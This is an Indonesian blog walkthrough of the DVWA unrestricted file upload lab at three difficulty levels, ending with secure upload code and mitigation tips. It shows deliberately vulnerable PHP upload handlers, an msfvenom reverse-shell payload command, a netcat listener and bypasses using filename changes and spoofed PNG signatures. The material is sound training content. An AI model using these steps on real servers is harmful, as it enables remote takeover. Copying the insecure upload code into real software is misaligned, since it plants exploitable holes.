DVWA Series: Unrestricted File Upload
January 20, 2022 ⏱️8 min readIntro
DVWA adalah aplikasi web yang dirancang khusus untuk memiliki kerentanan agar kita bisa mempelajarinya. Tujuan dari DVWA adalah mempraktikan beberapa kerentanan web yang umum ditemui dengan berbagai level kesulitan dan antarmuka langsung yang sederhana.
Disclaimer
Tujuan saya menulis dokumentasi ini adalah sebagai catatan pribadi dalam pempelajari keamanan aplikasi web. Saya tidak bertanggung jawab atas segala tindakan ilegal yang dipelajari dari dokumentasi ini.
Apa itu Vulnerability File Upload
FFile Upload** merupakan fitur dimana user bisa menggunggah sesuatu ke dalam server. Jika tidak diamankan, fitur ini bisa menjadi sangat berbahaya. Seseorang yang tidak bertanggung jawab, bisa saja menggunggah sesuatu yang bisa mengambil alih atau merusak server tersebut. Celah keamanan ini biasanya disebut Unrestricted File Upload.
Security Level: Low
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
Information Gathering
Terdapat form untuk melakukan upload file. Disana tertulis “Choose an image to upload” dimana kita seharusnya mengupload file gambar. Namun ketika saya coba meng-upload file dengan ekstensi .php
, maka file tersebut akan terkirim dan bisa diakses.
Terlihat bahwa tidak ada validasi untuk .php
di sini, sehingga kita bisa menfaatkannya untuk menjalankan shell berbahaya.
Launch Attack
Kita dapat menggunakan shell yang sama pada percobaan sebelumnya (Vulnerability file Inclusion) untuk melakukan serangan. Setelah file berhasil terupload kita dapat mengakses shell tersebut melalui path yang telah diberikan pada pesan sukses yaitu
http://192.168.1.6/hackable/uploads/knock.php
Dari situ kita dapat melakukan perintah yang berbahaya.
Dengan payload tersebut kita juga bisa melakukan reverse shell untuk meremote server. Pertama kita sebagai penyerang harus membuat listener bagi shell tersebut menggunakan netcat
netcat -l -p 8888
Langkah kedua, pada shel kita seting IP dan port milik kita
Jika berhasil pada terminal akan tampil sebagai berikut
Menggunakan Metasploit
Kemudian ada cara lain yaitu dengan memanfaatkan tools dari metasploit. Pertama kita perlu membuat file payload yang akan kita gunakan untuk melakukan serangan menggunakan tool msfvenom. Berikut perintahnya:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.7 lport=8888
Keterangan:
php/meterpreter/reverse_tcp
adalah adalah payload yang akan saya gunakan.
lhost
atau listening host adalah IP kita sebagai penyerang
lport
atau listening port adalah port yang akan kita gunakan untu listening
Setelah perintah tersebut kita eksekusi, akan muncul script PHP sebagai berikut:
Selanjutnya, adalah membuat file (contohnya payload.php) dan memasukan script tersebut dengan menghilangkan komentar di awal (tanda /*
).
Langkah selanjutnya adalah menyiapkan PC peretas untuk menjadi listener bagi shell yang telah dibuat dengan menggunakan metasploit.
Kemudian akses file payload yang sudah kita upload sehingga session meterpreter dapat terbuka seperti gambar dibawah ini
Dan jika berhasil kita bisa me-remote server tersebut
Security Level: Medium
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
Information Gathering
Jika kita melakukan hal yang sama seperti sebelumnya (meng-upload file ekstensi .php
), maka akan muncul pesan error seperti berikut:
Ini karena terdapat validasi, hanya ekstensi JPEG
dan PNG
saja yang diizinkan.
Launch Attack
Kita masih bisa melakukan serangan dengan melakukan baypass menggunakan Burpsuite.
Pertama, rename file payload kita yang awalnya payload.php menjadi payload.php.jpeg
Kedua, kita lakukan intercept request menggunakan burpsuite dan ubah filename menjadi payload.php
Menjadi
maka file akan berhasil terupload dan menampilkan pesan berhasil
Untuk melakukan reverse shell dapat menggunakan cara yang sama pada level LOW
Security Level: High
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
Information Gathering
Kali ini terdapat tambahan fungsi getimagesize()
pada validasi yang digunakan untuk memastikan bahwa file yang di-upload user memang lah gambar.
Lunch Attack
Kita bisa lakukan serangan dengan mengganti file signature dari payload tersebut List of file signatures - Wikipedia
Karena hanya dengan mengubah ekstensi saja tidak akan mengubah jenis file tersebut
Kita ubah signature file tersebut menggunakan hexeditor. Kita ubah hexa dari awalan file tersebut menjadi png Sebelum kita ubah signaturenya. kKita perlu beri 8 kali spasi pada baris pertama
Ubah 8 hexa pertama menjadi 89 50 4E 47 0D 0A 1A 0A
kemudian ganti ekstensi menjadi knock.php.png
Setelah itu kita upload.
Kemidian kita dapat mengakses file tersebut menggunakan celah LFI yang sebelumnya sempat kita bahas. Jangan lupa siapkan listener Netcat.
file:///var/www/html/hackable/uploads/namafile.php.png
Maka akan menampilkan sebagai berikut:
Untuk melakukan reverse shell caranya sama seperti pada level sebelumnya menggunakan netcat
Menghindari Unrestricted File Upload
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Selain dengan menggunakan pembatasan ekstensi tertentu. Periksa ekstensi ganda seperti namafile.php.png
Ubah izin pada folder upload sehingga file di dalamnya tidak dapat dieksekusi,
Dan jika memungkinkan, ganti nama file yang diunggah (biasanya random).
Selain itu jika form upload berupa gambar, maka lakukan re-encode pada file yang di-upload oleh client/user